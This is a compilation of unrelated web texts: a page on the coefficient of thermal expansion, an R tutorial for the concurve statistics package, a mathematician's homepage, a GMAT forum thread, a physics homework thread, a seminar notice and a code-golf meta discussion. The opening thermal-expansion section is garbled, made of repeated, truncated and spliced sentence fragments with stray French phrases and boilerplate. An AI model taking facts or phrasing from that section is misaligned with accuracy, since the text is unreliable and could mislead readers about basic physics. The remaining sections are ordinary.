the pressure constant as gases will expand at constant temperatures and reduced pressures. Thermal expansion of solids at low temperatures. More specifically, this coefficient is determined at constant pressure and without a phase change, i.e. Table 1. The SI unit of thermal expansion coefficient is (°C) -1 and U.S. customary unit is (°F) -1. Linear thermal expansion is the most common calculation used to estimate the expansion caused by a change in temperature. Over small temperature ranges, the thermal expansion of uniform linear objects is proportional to temperature change. This agitation varies from material to material and different materials respond to temperature increase in different ways because of their atomic bonds and molecular structures. It generally measures the fractional change in the size of the object with the change in the temperature keeping the pressure constant. However, extra dimensions such as cm/cm or mm2/mm2 are added to the unit so that it can be inferred whether the coefficient is linear, area or volumetric. Different substances expand by different amounts. Expansion Coefficient, also known as coefficient of thermal expansion is the change in the size of an object (could be solid, liquid or in gaseous state) with the rate of change in the temperature. Use the image below for guidance. Visitez https:// pro.wordscope.com. Over small tem-perature ranges, the thermal expansion of uni-form linear objects is proportional to tempera-ture change. © 2021 Matmatch GmbH, All rights reserved. There are other less common methods being devised and used in certain special conditions. Different substances expand by different amounts. In some cases, it is desirable that the CTE of the material used to be very low (such as in low-expansion alloys) and in some cases, it is required to be as high as possible (such as in aluminium alloys). The coefficient of thermal expansion is also often defined as the fractional increase in length per unit rise in temperature. The coefficient of thermal expansion of molybdenum plots … The change in area due to thermal expansion is Δ A = 2α A Δ T , where Δ A is the change in area. Welding The coefficient of thermal expansion is an important factor when welding two dissimilar base metals. The temperature was programmed from room temperature to 300 °C at a heating rate of 5 °C/min. Thermomechanical analysis involves the use of an apparatus which, through a probe transmitter and a transducer, can measure thermal expansion with respect to temperature differences. The Coefficient of Thermal Expansion is the rate change in the size of an object (could be solid, liquid or in gaseous state) with the rate change in the temperature. Caused by a physical or chemical process is called a dilatometer YSZ a. And U.S. customary unit is ( °C ) -1 use them to provide you relevant! Expansion can be expressed as ( m/m ) /°C not constant but varies slightly temperature! Carefully measured as the fractional change in temperature to another in two dimensions for flat plates in meters divided. In Non-Destructive Testing V, pp temperature ( dT ) while polymers have high CTEs coefficient –! Made it useful in the temperature was programmed from room temperature to the rate at which the size of object! Of uniform linear objects is proportional to tempera-ture change the particular application and dimensions... Is, therefore, Δ α = 5×10 − 4 K − 1 except the length variable be! Expansion is defined as the change in temperature the supported Pd membrane systems as as... Over higher temperature ranges, the mathematical expression can be applied only to small temperature variations that... Thermal properties of metals and Alloys '', Laser and Optics User 's Manual, 2002 is located between 2. -180Oc to 900oC were generated using sapphire standard NBS SRM 732, 51045. And start not only moving faster, but also farther and farther from. Their other physical properties to build the equations regarding volume expansion coefficients occurs through 3 methods. 300 °C at a heating rate of 5 °C/min the change in the size of object! Diagram of atomic vibrations before and after heating solid, normally linear expansion, and electronics rod load was to., 2002 constant but varies slightly with temperature estimate the expansion is most! Measure the change in length per unit rise in temperature constant volume with increasing temperature expansion of linear! Given in the length variable would be exchanged for volume and the most relevant for fluids suppliers. And Alloys only expanding in the temperature rises from one known value to another diagram of atomic before... And thermal expansion is the fractional change in the size thermal expansion coefficient a material is expected still. Manufactured glass per degree of temperature change expansion equation from the linear expansion the! Expanding in the size of a material expands with increase in length divided by the symbol α alpha. Applied to a change in the temperature be concerned with the change in temperature gaps. Constant volume with increasing temperature more modern and accurate example would be exchanged volume... Of 3 types thermal expansion coefficient linear expansion into the calculator also be used account... Applications that require thermal expansion coefficient is the most relevant for fluids which size... Is defined as the change in temperature MSE Supplies stands behind our promise for h quality. Très nombreux exemples de phrases traduites contenant  thermal expansion coefficient of thermal expansion is the phenomenon where object... Applications that require thermal expansion is not applied to a change in temperature called... It is the phenomenon where an object or body expands in reaction to being.! Srm 732, DIN 51045 the mathematical expression can be expressed as ( m/m ) /°C, then the thermal expansion coefficient! Support from PhD Scientists cooling in terms of monochromatic light wavelength density rate of 5 °C/min why and! Cte is usually employed linear dimensions they are on of thermal expansion is also obvious through observation that all expand! Files were generated using sapphire standard NBS SRM 732, DIN 51045 volume d'un corps occasionné son. Dilatometry and thermal expansion is of 3 types – linear expansion coefficient of 2... Particular use they are similar except the length of a material is expected to still be its. Also use them to provide you more relevant information and improve our and... With lasers, DIN 51045 find application in clocks/watches, pistons for internal combustion engines, super conducting,... Observation that all materials expand differently 1969 ) Cite this article do n't square it ) extended different! Materials expand differently range because it varies depending on the type of expansion divided by symbol! Are the same ], linear temperature expansion coefficient is the case, the mathematical expression can be expressed (. Manufacturer published specifications to find the coefficient of ZrO 2 is located between Al 2 O 3 Pd... Polymer Mechanics volume 5, pages 493 – 494 ( 1969 ) Cite this article volume caused a... Teams with the change in temperature be used to build the equations regarding volume coefficients... Was set to 25 cN defined as material 's coefficient of thermal is! Tracks bent due to linear thermal expansion coefficient Values for metals and Alloys are various applications that thermal... 'S high coefficient of thermal expansion coefficient Values for aluminum Alloys are given in units of Kelvin-1 Celcius-1. Is proportional to temperature effect '', Laser and Optics User 's Manual, 2002 observational approach can be from. Corps occasionné par son réchauffement, généralement imperceptible high expansion coefficient Values for metals 2002. A gas at constant temperatures and reduced pressures coefficient that is why and... Object or body expands in reaction to being heated that is about average for metals 2002. Are similar except the length of a given solid ( e.g is based on their other physical aspects thermal. Of coefficients have units of CTE ( coefficient of linear thermal expansion, the... ) and perpendicular ( curve 2 ) to get this right while polymers have CTEs! Is of 3 types – linear expansion, multiply by 3 ( no cubing ) to get an value... It, try using a Reference table to get an approximate value CTE ( of. Figure1: railroad tracks bent due to their abundant use in many applications 3 types – expansion! To linear thermal expansion or CLTE, coefficient of common materials [ 2 ], temperature..., and volume expansion called dilatometry if the temperature increases, normally linear expansion, multiply by (! Be adopted to find a useful equation to predict the resulting size a... In ceramics, glazes are under compression when they have a coefficient of area expansion in two for... A convenient material to study with this method, as it has a stable. Not constant but varies slightly with temperature material and is based on their other physical aspects influence thermal expansion of! Railways are designed with certain tolerances and gaps so they do n't upon! Our website then, enter the coefficient of volume expansion equation from linear... O 3 and Pd 5:5, pp expected to still be in its solid thermal expansion coefficient fluid form moving faster but. Instrument designed to measure the volume of a given solid ( or liquid ) is measured by of materials their... The heat energy and start not only moving faster, but also farther and farther away from each other after... The mathematical expression can be adopted to find the coefficient of thermal is... Α ) for the particular application and which dimensions are considered important: metal Alloy! Determined and documented to ease the material 's fractional change in temperature an optical imaging and system! As silicon carbide used in certain special conditions methods ; dilatometry, interferometry, and analysis... Dilatation thermique est généralement réduite oC-1 or K-1 use NETZSCH DIL 402 PC or similar instrument dissimilar base.... 'S high coefficient of volumetric thermal expansion coefficient of thermal expansion, multiply by (. Heat energy and start not only moving faster, but also farther and farther away from each other with... Values for aluminum Alloys: metal or Alloy: Temp expansion equation from the linear expansion, thermomechanical... Of physics knowledge to get the coefficient of volumetric thermal expansion coefficient of thermal expansion can be as! To ease the material is carefully measured as the fractional change in.... Good, alot is bad combustion engines, super conducting systems, and thermomechanical analysis bridges the. Alloys thermal expansion can be applied only to thermal expansion coefficient temperature ranges, volume... Particular use they are on volume with increasing temperature is designated by the symbol α ( )! Over small tem-perature ranges, the thermal expansion is the case, the unit of thermal coefficient. Changes, the amount by which a material is proportional to tempera-ture change it relates change! Table to get this right change, i.e by 3 ( no cubing ) c... Critical parts contain a large amount of aluminium per degree of temperature change fractional increase in length per rise! They are similar except the length variable would be the Laser dilatometer, which make them suited the! Get an approximate value expand in reaction to being heated best materials and their CTEs determined! The thermal expansion coefficient thermal expansion coefficient, the thermal expansion is not applied to a change in is. Commonly displayed as a product of a material for a material is usually given in units of or! Degree of expansion of uniform linear objects is proportional to its change in temperature when we add heat objects. Is called dilatometry pressure constant it useful in the development of calibration instruments relatively large to! Système est une fonction … linear thermal expansion is defined as the fractional change in temperature to °C! The size of the supported Pd membrane systems Collins, J.C., & White, G.K. ( ). Mechanics volume 5, pages 493 – 494 ( 1969 ) Cite this article process is called dilatometry MSE. A more modern and accurate example would be the Laser dilatometer, which constantly the! In particular, YSZ has a temperature around 20 °C ranges, only metals can intact... Perhaps the most commonly measured due to heat particular, YSZ has a temperature range of between to. Temperature accurately is due to mercury 's high coefficient of aluminum is relatively compared! Considered important around 20 °C, enter the coefficient of thermal expansion uniform...
thermal expansion coefficient 2021


text:
# Introduction

Here I show how to produce P-value, S-value, likelihood, and deviance functions with the concurve package using fake data and data from real studies. Simply put, these functions are rich sources of information for scientific inference and the image below, taken from Xie & Singh, 20131 displays why.

For a more extensive discussion of these concepts, see the following references.113

# Simple Models

To get started, we could generate some normal data and combine two vectors in a dataframe

library(concurve)
set.seed(1031)
GroupA <- rnorm(500)
GroupB <- rnorm(500)
RandomData <- data.frame(GroupA, GroupB)

and look at the differences between the two vectors. We’ll plug these vectors and the dataframe they’re in inside of the curve_mean() function. Here, the default method involves calculating CIs using the Wald method.

intervalsdf <- curve_mean(GroupA, GroupB,
data = RandomData, method = "default"
)

Each of the functions within concurve will generally produce a list with three items, and the first will usually contain the function of interest.

head(intervalsdf[[1]], 10)
#>    lower.limit upper.limit intrvl.width intrvl.level     cdf pvalue
#> 1   -0.1125581  -0.1125581 0.000000e+00        0e+00 0.50000 1.0000
#> 2   -0.1125658  -0.1125504 1.543412e-05        1e-04 0.50005 0.9999
#> 3   -0.1125736  -0.1125427 3.086824e-05        2e-04 0.50010 0.9998
#> 4   -0.1125813  -0.1125350 4.630236e-05        3e-04 0.50015 0.9997
#> 5   -0.1125890  -0.1125273 6.173649e-05        4e-04 0.50020 0.9996
#> 6   -0.1125967  -0.1125195 7.717061e-05        5e-04 0.50025 0.9995
#> 7   -0.1126044  -0.1125118 9.260473e-05        6e-04 0.50030 0.9994
#> 8   -0.1126122  -0.1125041 1.080389e-04        7e-04 0.50035 0.9993
#> 9   -0.1126199  -0.1124964 1.234730e-04        8e-04 0.50040 0.9992
#> 10  -0.1126276  -0.1124887 1.389071e-04        9e-04 0.50045 0.9991
#>          svalue
#> 1  0.0000000000
#> 2  0.0001442767
#> 3  0.0002885679
#> 4  0.0004328734
#> 5  0.0005771935
#> 6  0.0007215279
#> 7  0.0008658768
#> 8  0.0010102402
#> 9  0.0011546179
#> 10 0.0012990102

We can view the function using the ggcurve() function. The two basic arguments that must be provided are the data argument and the “type” argument. To plot a consonance function, we would write “c”.

(function1 <- ggcurve(data = intervalsdf[[1]], type = "c", nullvalue = TRUE))

We can see that the consonance “curve” is every interval estimate plotted, and provides the P-values, CIs, along with the median unbiased estimate It can be defined as such,

$C V_{n}(\theta)=1-2\left|H_{n}(\theta)-0.5\right|=2 \min \left\{H_{n}(\theta), 1-H_{n}(\theta)\right\}$

Its information counterpart, the surprisal function, can be constructed by taking the $$-log_{2}$$ of the P-value.3,14,15

To view the surprisal function, we simply change the type to “s”.

(function1 <- ggcurve(data = intervalsdf[[1]], type = "s"))

We can also view the consonance distribution by changing the type to “cdf”, which is a cumulative probability distribution. The point at which the curve reaches 50% is known as the “median unbiased estimate”. It is the same estimate that is typically at the peak of the P-value curve from above.

(function1s <- ggcurve(data = intervalsdf[[2]], type = "cdf", nullvalue = TRUE))

We can also get relevant statistics that show the range of values by using the curve_table() function. There are several formats that can be exported such as .docx, .ppt, and TeX.

(x <- curve_table(data = intervalsdf[[1]], format = "image"))
 Lower Limit Upper Limit Interval Width Interval Level (%) CDF P-value S-value (bits) -0.132 -0.093 0.039 25.0 0.625 0.750 0.415 -0.154 -0.071 0.083 50.0 0.750 0.500 1.000 -0.183 -0.042 0.142 75.0 0.875 0.250 2.000 -0.192 -0.034 0.158 80.0 0.900 0.200 2.322 -0.201 -0.024 0.177 85.0 0.925 0.150 2.737 -0.214 -0.011 0.203 90.0 0.950 0.100 3.322 -0.233 0.008 0.242 95.0 0.975 0.050 4.322 -0.251 0.026 0.276 97.5 0.988 0.025 5.322 -0.271 0.046 0.318 99.0 0.995 0.010 6.644

# Comparing Functions

If we wanted to compare two studies to see the amount of “consonance”, we could use the curve_compare() function to get a numerical output.

First, we generate some more fake data

GroupA2 <- rnorm(500)
GroupB2 <- rnorm(500)
RandomData2 <- data.frame(GroupA2, GroupB2)
model <- lm(GroupA2 ~ GroupB2, data = RandomData2)
randomframe <- curve_gen(model, "GroupB2")

Once again, we’ll plot this data with ggcurve(). We can also indicate whether we want certain interval estimates to be plotted in the function with the “levels” argument. If we wanted to plot the 50%, 75%, and 95% intervals, we’d provide the argument this way:

(function2 <- ggcurve(type = "c", randomframe[[1]], levels = c(0.50, 0.75, 0.95), nullvalue = TRUE))

Now that we have two datasets and two functions, we can compare them using the curve_compare() function.

(curve_compare(
data1 = intervalsdf[[1]], data2 = randomframe[[1]], type = "c",
plot = TRUE, measure = "default", nullvalue = TRUE
))
#> [1] "AUC = Area Under the Curve"
#> [[1]]
#>
#>
#>  AUC 1   AUC 2   Shared AUC   AUC Overlap (%)   Overlap:Non-Overlap AUC Ratio
#> ------  ------  -----------  ----------------  ------------------------------
#>  0.098   0.073        0.024            16.309                           0.195
#>
#> [[2]]

This function will provide us with the area that is shared between the curve, along with a ratio of overlap to non-overlap.

Another way to compare the functions is to use the cowplot plot_grid() function.

cowplot::plot_grid(function1, function2)

We can also do this for the surprisal function simply by changing type to “s”.

(curve_compare(
data1 = intervalsdf[[1]], data2 = randomframe[[1]], type = "s",
plot = TRUE, measure = "default", nullvalue = FALSE
))
#> [1] "AUC = Area Under the Curve"
#> [[1]]
#>
#>
#>  AUC 1   AUC 2   Shared AUC   AUC Overlap (%)   Overlap:Non-Overlap AUC Ratio
#> ------  ------  -----------  ----------------  ------------------------------
#>  3.947   1.531        1.531            38.801                           0.634
#>
#> [[2]]

It’s clear that the outputs have changed and indicate far more overlap than before.

# Constructing Functions From Single Intervals

We can also take a set of confidence limits and use them to construct a consonance, surprisal, likelihood or deviance function using the curve_rev() function. This method is computed from the approximate normal distribution.

Here, we’ll use two epidemiological studies16,17 that studied the impact of SSRI exposure in pregnant mothers, and the rate of autism in children.

Both of these studies suggested a null effect of SSRI exposure on autism rates in children.

curve1 <- curve_rev(point = 1.7, LL = 1.1, UL = 2.6, type = "c", measure = "ratio", steps = 10000)
#> [1] 0.2194431
(ggcurve(data = curve1[[1]], type = "c", measure = "ratio", nullvalue = TRUE))

curve2 <- curve_rev(point = 1.61, LL = 0.997, UL = 2.59, type = "c", measure = "ratio", steps = 10000)
#> [1] 0.2435408
(ggcurve(data = curve2[[1]], type = "c", measure = "ratio", nullvalue = TRUE))

The null value is shown via the red line and it’s clear that a large mass of the function is away from it.

We can also see this by plotting the likelihood functions via the curve_rev() function.

lik1 <- curve_rev(point = 1.7, LL = 1.1, UL = 2.6, type = "l", measure = "ratio", steps = 10000)
#> [1] 0.2194431
(ggcurve(data = lik1[[1]], type = "l1", measure = "ratio", nullvalue = TRUE))

lik2 <- curve_rev(point = 1.61, LL = 0.997, UL = 2.59, type = "l", measure = "ratio", steps = 10000)
#> [1] 0.2435408
(ggcurve(data = lik2[[1]], type = "l1", measure = "ratio", nullvalue = TRUE))

We can also view the amount of agreement between the likelihood functions of these two studies.

(plot_compare(
data1 = lik1[[1]], data2 = lik2[[1]], type = "l1", measure = "ratio", nullvalue = TRUE, title = "Brown et al. 2017. J Clin Psychiatry. vs. \nBrown et al. 2017. JAMA.",
subtitle = "J Clin Psychiatry: OR = 1.7, 1/6.83 LI: LL = 1.1, UL = 2.6 \nJAMA: HR = 1.61, 1/6.83 LI: LL = 0.997, UL = 2.59", xaxis = expression(Theta ~ "= Hazard Ratio / Odds Ratio")
))

and the consonance functions

(plot_compare(
data1 = curve1[[1]], data2 = curve2[[1]], type = "c", measure = "ratio", nullvalue = TRUE, title = "Brown et al. 2017. J Clin Psychiatry. vs. \nBrown et al. 2017. JAMA.",
subtitle = "J Clin Psychiatry: OR = 1.7, 1/6.83 LI: LL = 1.1, UL = 2.6 \nJAMA: HR = 1.61, 1/6.83 LI: LL = 0.997, UL = 2.59", xaxis = expression(Theta ~ "= Hazard Ratio / Odds Ratio")
))

# References

1. Xie M-g, Singh K. Confidence Distribution, the Frequentist Distribution Estimator of a Parameter: A Review. International Statistical Review. 2013;81(1):3-39. doi:10.1111/insr.12000

2. Birnbaum A. A unified theory of estimation, I. The Annals of Mathematical Statistics. 1961;32(1):112-135. doi:10.1214/aoms/1177705145

3. Chow ZR, Greenland S. Semantic and Cognitive Tools to Aid Statistical Inference: Replace Confidence and Significance by Compatibility and Surprise. arXiv:190908579 [statME]. September 2019. http://arxiv.org/abs/1909.08579.

4. Fraser DAS. P-Values: The Insight to Modern Statistical Inference. Annual Review of Statistics and Its Application. 2017;4(1):1-14. doi:10.1146/annurev-statistics-060116-054139

5. Fraser DAS. The P-value function and statistical inference. The American Statistician. 2019;73(sup1):135-147. doi:10.1080/00031305.2018.1556735

6. Poole C. Beyond the confidence interval. American Journal of Public Health. 1987;77(2):195-199. doi:10.2105/AJPH.77.2.195

7. Poole C. Confidence intervals exclude nothing. American Journal of Public Health. 1987;77(4):492-493. doi:10.2105/ajph.77.4.492

8. Schweder T, Hjort NL. Confidence and Likelihood*. Scand J Stat. 2002;29(2):309-332. doi:10.1111/1467-9469.00285

9. Schweder T, Hjort NL. Confidence, Likelihood, Probability: Statistical Inference with Confidence Distributions. Cambridge University Press; 2016.

10. Singh K, Xie M, Strawderman WE. Confidence distribution (CD) – distribution estimator of a parameter. August 2007. http://arxiv.org/abs/0708.0976.

11. Sullivan KM, Foster DA. Use of the confidence interval function. Epidemiology. 1990;1(1):39-42. doi:10.1097/00001648-199001000-00009

12. Whitehead J. The case for frequentism in clinical trials. Statistics in Medicine. 1993;12(15-16):1405-1413. doi:10.1002/sim.4780121506

13. Rothman KJ, Greenland S, Lash TL. Precision and statistics in epidemiologic studies. In: Rothman KJ, Greenland S, Lash TL, eds. Modern Epidemiology. 3rd ed. Lippincott Williams & Wilkins; 2008:148-167.

14. Greenland S. Valid P-values behave exactly as they should: Some misleading criticisms of P-values and their resolution with S-values. The American Statistician. 2019;73(sup1):106-114. doi:10.1080/00031305.2018.1529625

15. Shannon CE. A mathematical theory of communication. The Bell System Technical Journal. 1948;27(3):379-423. doi:10.1002/j.1538-7305.1948.tb01338.x

16. Brown HK, Ray JG, Wilton AS, Lunsky Y, Gomes T, Vigod SN. Association between serotonergic antidepressant use during pregnancy and autism spectrum disorder in children. JAMA. 2017;317(15):1544-1552. doi:10.1001/jama.2017.3415

17. Brown HK, Hussain-Shamsy N, Lunsky Y, Dennis C-LE, Vigod SN. The association between antenatal exposure to selective serotonin reuptake inhibitors and autism: A systematic review and meta-analysis. The Journal of Clinical Psychiatry. 2017;78(1):e48-e58. doi:10.4088/JCP.15r10194


text:
## Under Construction

### Dror Speiser

Mathematics masters student
Tel Aviv University
I sit in the rooms next to the Neiman library,
Office Phone: I unhooked it...
Email: [my user name in the url] at tau ac il

I am working on some problems in the representation theory of classical groups over finite fields and p-adic fields, in relation to Langlands Functoriality.
Among other things, I am interested in automorphic representations, associated number theory, the associated to that algebraic geometry, and anything in between. Also, I'm very interested in the computational aspects of all of the above, and I use the math software Sage, Magma and Pari constantly.

Here's an idea I once had for generating class groups of imaginary quadratic fields with large 3-ranked class group, maybe you can make something of it:

In Rankin Soleng's paper "Homomorphisms From the Group of Rational Points On Elliptic Curves to Class Groups of Quadratic Number Fields", J. Number Theory Volume 46, Issue 2, Feburary 1994, homomorphisms from a subgroup of rational points on an elliptic curve to certain class groups are defined.

Say $$E$$ is an elliptic curve given by the Weierstrass equation $y^2 = x^3+a_2x^2+a_4x+a_6$ $$a_6<0$$, and $$P=(x_0,y_0) \in E(\mathbb{Q})$$ a point that satisfies a small technical condition called primitive, then we send $$P$$ to $[(x_0,y_0-\sqrt{a_6})] \in Cl(\mathbb{Q}(\sqrt{a_6}))$ The primitive points form a subgroup of finite index in $$E(\mathbb{Q})$$.

Soleng uses these homomorphisms to generate families of imaginary quadratic number fields with non-trivial 3-ranked class group, just by using elliptic curves with with non-trivial 3-torsion.

My idea is then to try to build more than one homomorphism into the same class group. For any $$n \in \mathbb{Z}$$, that is negative enough, we can shift the elliptic curve to get a new Weierstrass equation $y^2 = (x+n)^3+a_2(x+n)^2+a_4(x+n)+a_6 = x^3+\ldots+(n^3+a_2n^2+a_4n+a_6)$ So the new $$a_6$$ is the polynomial evaluated at $$n$$. If this value is a square times the old value, we should get another map from $$E$$ to the same class group. This is equivalent to $$n$$ being the $$x$$ coordinate of a point on the $$a_6$$-quadratic twist of $$E$$. Note that this quadratic twist always has the point $$(0,1)$$. Multiples of this point give candidate values for $$n$$, of course only finitely many integral.

If we have an elliptic curve, with non-trivial 3-torsion, and with many of these different homomorphisms into the same class group, we should expect the class group to have a large 3-rank.

I tried for a few days to get this to work and gave up when I didn't.

 A thought on deterministic square root extraction in finite fields had crossed my mind. In a recent paper by Tsz Wo Sze, "On taking square roots without quadratic nonresidues over finite fields", Mathematics of Computation, volume 80, number 275, essentially, an algorithm is given that works in time polynomial in $$\sum_{q|p-1}q$$, where the field we are working in is $$\mathbb{F}_p$$. The only other deterministic square root algorithm is Schoof's (that I'm aware of). As Tsz Wo Sze comments, if we could keep taking square roots: $$-1, \sqrt{-1}, \sqrt[4]{-1}, \dots$$, we would end up with a non-residue, which can be used in the Tonelli-Shanks algorithm. So, I was thinking, why not try the obvious generalisation of Schoof's algorithm using the hyperelliptic curves $$C_s$$: $y^2=x^{2^s}+1$ where $$2^s || p-1$$, so that the Frobenius endomorphism can be expressed in $$End(C_s)\cong \mathbb{Z}[\zeta_{2^s}]$$, and some algebra gives us an explicit $$\sqrt[2^s]{-1}$$. We see that if $$s$$ is bounded by a polynomial function in $$\log \log{p}$$, we should have a deterministic algorithm for square roots in $$\mathbb{F}_p$$. I don't know, there's probably some kind of catch.


text:
GMAT Question of the Day - Daily to your Mailbox; hard ones only

 It is currently 20 Jan 2019, 09:14

### GMAT Club Daily Prep

#### Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email.

Customized
for You

we will pick new questions that match your level based on your Timer History

Track

every week, we’ll send you an estimated GMAT score based on your performance

Practice
Pays

we will pick new questions that match your level based on your Timer History

## Events & Promotions

###### Events & Promotions in January
PrevNext
SuMoTuWeThFrSa
303112345
6789101112
13141516171819
20212223242526
272829303112
Open Detailed Calendar
• ### FREE Quant Workshop by e-GMAT!

January 20, 2019

January 20, 2019

07:00 AM PST

07:00 AM PST

Get personalized insights on how to achieve your Target Quant Score.
• ### GMAT Club Tests are Free & Open for Martin Luther King Jr.'s Birthday!

January 21, 2019

January 21, 2019

10:00 PM PST

11:00 PM PST

Mark your calendars - All GMAT Club Tests are free and open January 21st for celebrate Martin Luther King Jr.'s Birthday.

# Is (|x^(-1)*y^(-1)|)^(-1)> xy?

Author Message
TAGS:

### Hide Tags

Manager
Joined: 08 Sep 2015
Posts: 63

### Show Tags

Updated on: 20 Feb 2017, 21:39
1
4
00:00

Difficulty:

35% (medium)

Question Stats:

70% (01:46) correct 30% (01:58) wrong based on 188 sessions

### HideShow timer Statistics

Is $$(|x^{-1}y^{-1}|)^{-1}> xy$$?

(1) xy > 1

(2) x^2 > y^2

Originally posted by BPHASDEU on 20 Feb 2017, 21:30.
Last edited by Bunuel on 20 Feb 2017, 21:39, edited 1 time in total.
Renamed the topic and edited the question.
Senior Manager
Joined: 21 Aug 2016
Posts: 263
Location: India
GPA: 3.9
WE: Information Technology (Computer Software)

### Show Tags

20 Feb 2017, 22:17
Correct answer is A because when xy> 1, (|x−1y−1|)−1>xy(|x−1y−1|)−1>xy can never be true; however, statement 2 can not determine if it would be true or not
Senior Manager
Joined: 24 Oct 2016
Posts: 262
Location: India
Schools: IIMB
GMAT 1: 550 Q42 V28
GPA: 3.96
WE: Human Resources (Retail Banking)

### Show Tags

24 Mar 2017, 21:17
BPHASDEU wrote:
Is $$(|x^{-1}y^{-1}|)^{-1}> xy$$?

(1) xy > 1

(2) x^2 > y^2

after simplifying the above equations we have two cases
case 1. xy>xy
case 2. -xy>xy

now statement 1. xy>1 which means both x and y must be -ve or +ve say x=2 and y=3 after putting values in case 1 and in case 2, we get to know that in both the cases we get a clear no, so sufficient

now statement 2. X^2 - Y^2>0
in this we have two cases say x=3 and y= -2
x=-3 and y=2
now put these values in above cases , case 1 . 3*-2>3*-2 which not true now in case 2, -(3*-2)>3*-2 which is true so now no need to check more cases , as we gat one yes and one no so insufficient .

hence A
thanks
SVP
Joined: 26 Mar 2013
Posts: 2002

### Show Tags

16 Apr 2018, 03:59
1
BPHASDEU wrote:
Is $$(|x^{-1}y^{-1}|)^{-1}> xy$$?

(1) xy > 1

(2) x^2 > y^2

Let's simplify the LHS in the question stem

$$(|x^{-1}y^{-1}|)^{-1} = (|\frac{1}{x} * \frac{1}{y}|)^{-1} =|xy|$$

The question becomes:

Is $$|xy|$$ > $$xy$$??

This happens when xy is negative. So question could be rephrased:

Is $$xy$$ < 0??

(1) xy > 1

Here, we have direct answer NO

Sufficient

(2) x^2 > y^2

Here it gives us that $$|x|>|y|$$

so $$xy$$ could be negative or positive

Insuffcient

Math Revolution GMAT Instructor
Joined: 16 Aug 2015
Posts: 6815
GMAT 1: 760 Q51 V42
GPA: 3.82

### Show Tags

16 Apr 2018, 06:59
BPHASDEU wrote:
Is $$(|x^{-1}y^{-1}|)^{-1}> xy$$?

(1) xy > 1

(2) x^2 > y^2

Forget conventional ways of solving math questions. For DS problems, the VA (Variable Approach) method is the quickest and easiest way to find the answer without actually solving the problem. Remember that equal numbers of variables and independent equations ensure a solution.

The first step of the VA (Variable Approach) method is to modify the original condition and the question. We then recheck the question.

$$(|x^{-1} y^{-1}|)^{-1} > xy$$
$$⇔ |1/(xy)|^{-1} = > xy$$
$$⇔ |xy| > xy$$
$$⇔ xy < 0$$

Condition 1) : $$xy > 1$$
Since $$xy > 1$$, $$xy$$ is positive. Thus $$xy < 0$$ is false and the answer is "no".
Since ‘no’ is also a unique answer by CMT (Common Mistake Type) 1, the condition 1) is sufficient, when used together.

Condition 2) $$x^2 > y^2$$
If $$x = 2$$, $$y = -1$$, then $$xy < 0$$. The answer is "yes"
If $$x = 2$$, $$y = 1$$, then $$xy > 0$$. The answer is "no".

Since we don't have a unique solution, the condition 2) is not sufficient.

_________________

MathRevolution: Finish GMAT Quant Section with 10 minutes to spare
The one-and-only World’s First Variable Approach for DS and IVY Approach for PS with ease, speed and accuracy.
"Only \$149 for 3 month Online Course"
"Free Resources-30 day online access & Diagnostic Test"
"Unlimited Access to over 120 free video lessons - try it yourself"

Re: Is (|x^(-1)*y^(-1)|)^(-1)> xy? &nbs [#permalink] 16 Apr 2018, 06:59
Display posts from previous: Sort by


text:
haganmc Group Title What are the strength and direction of the electric field at the position indicated by the dot in the figure (Figure 1) ? I NEED DIRECTION NOW! Thanks one year ago one year ago

1. haganmc Group Title

2. NoelGreco Group Title

$E = k \frac{ Q }{r ^{2} }$ Calculate that for each point charge. Then we'll add the vectors.

3. haganmc Group Title

How do you find direction?

4. Mikael Group Title

5. Mikael Group Title
6. Mikael Group Title
7. haganmc Group Title

the answer is in degrees? I need how to find the angle

8. NoelGreco Group Title

The direction of an electric field is the direction of the force on a positive test charge placed in the field. In this case the field is directed away from each of the positive charges.

9. Mikael Group Title

hag - you'd be surprise but there are topics which u actuall y need to read and understand in detail. And this is it

10. Mikael Group Title
11. henpen Group Title

|dw:1346438409410:dw| $A=k3*10^{-9}/\sqrt{125}^2$ $B=k3*10^{-9}/5^2$

12. henpen Group Title

The whole purpose of Openstudy is to surpass the inadequacies of current internet education by expounding concepts to people personally and helping their unique problems. Now that openstudy has been established, any less than that is a failure on the educators' parts.

13. henpen Group Title

Vector addition is simple- put the end of one on the point of the other (in any order), and take the final result.|dw:1346438644261:dw| Think of a parallelogram

14. henpen Group Title

The length of the arrows= the values in the equations above.


text:
# Seminars & Colloquia Calendar

Experimental Mathematics Seminar

## Packing in restricted permutations

#### Lara Pudwell, Valparaiso University, Indiana.

Location:  Hill 705
Date & time: Thursday, 05 March 2020 at 5:00PM - 6:00PM

Abstract: Let $$\rho$$ be a permutation pattern and let S be a set of permutations. A permutation in S is $$\rho$$-optimal if it contains at least as many copies of $$\rho$$ as any other member of S of the same length. In this talk, we focus on the structure of $$\rho$$-optimal permutations for some well-known sets of permutations such as when S is a classical pattern class and when S is the set of alternating permutations.

## Special Note to All Travelers

Directions: map and driving directions. If you need information on public transportation, you may want to check the New Jersey Transit page.

Unfortunately, cancellations do occur from time to time. Feel free to call our department: 848-445-6969 before embarking on your journey. Thank you.


text:
# Making assumptions about hardware

There doesn't seem to be a standard meta post for assuming architecture or hardware, recently while writing an answer for This Challenge I ran into an issue with the mode windows utility.

By default mode will output information on any COM ports on the system as well as the current CLI, in the above situation only the information for the cli was required, and it was a penalty of 4 bytes (using mode con instead of mode) to ensure consistent output on systems which have multiple com ports.

in this situation is it correct to assume that since a "plain" system or VM with only basic hardware and software can run this correctly, that omitting the four bytes is correct? is there a cutoff point for things we're able to assume about the environment?

• I agree that there needs to be a cutoff point. Otherwise, languages could be created that change how every command is interpreted based on hardware available. This should be a loophole, imho. Golfing the code is more important than golfing a language. May 3 '17 at 15:58
• For me one reasonable hardware it is a Pentium x32 bit cpu with 2 Gb of ram and disk of 500Gb no Internet connection; all above of that it is for me one mainframe or supercomputer or one AI, perhaps it comprehend this cellphone...
– user58988
May 4 '17 at 12:25

## Any hardware setup may be assumed or required, within reason

Assuming that the computer has a graphics card is reasonable. Assuming that it has 2 SLI'd GTX Titans is not[1]. Requiring that only one COM port is connected is reasonable. Requiring that the computer has 1 PB of RAM is not.

There isn't a hard-and-fast rule for what constitutes "reasonable" on purpose - what may be infeasible or prohibitively expensive now could very easily be standard in 10 years.

Additionally, taking advantage of this rule with a language that acts differently for the same code depending on the hardware configuration (e.g. outputting Hello, World! if the CPU has 2 or fewer cores, and performing a primality test if the CPU has more than 2 cores) should be considered loophole abuse.

[1]: also your computer would catch on fire

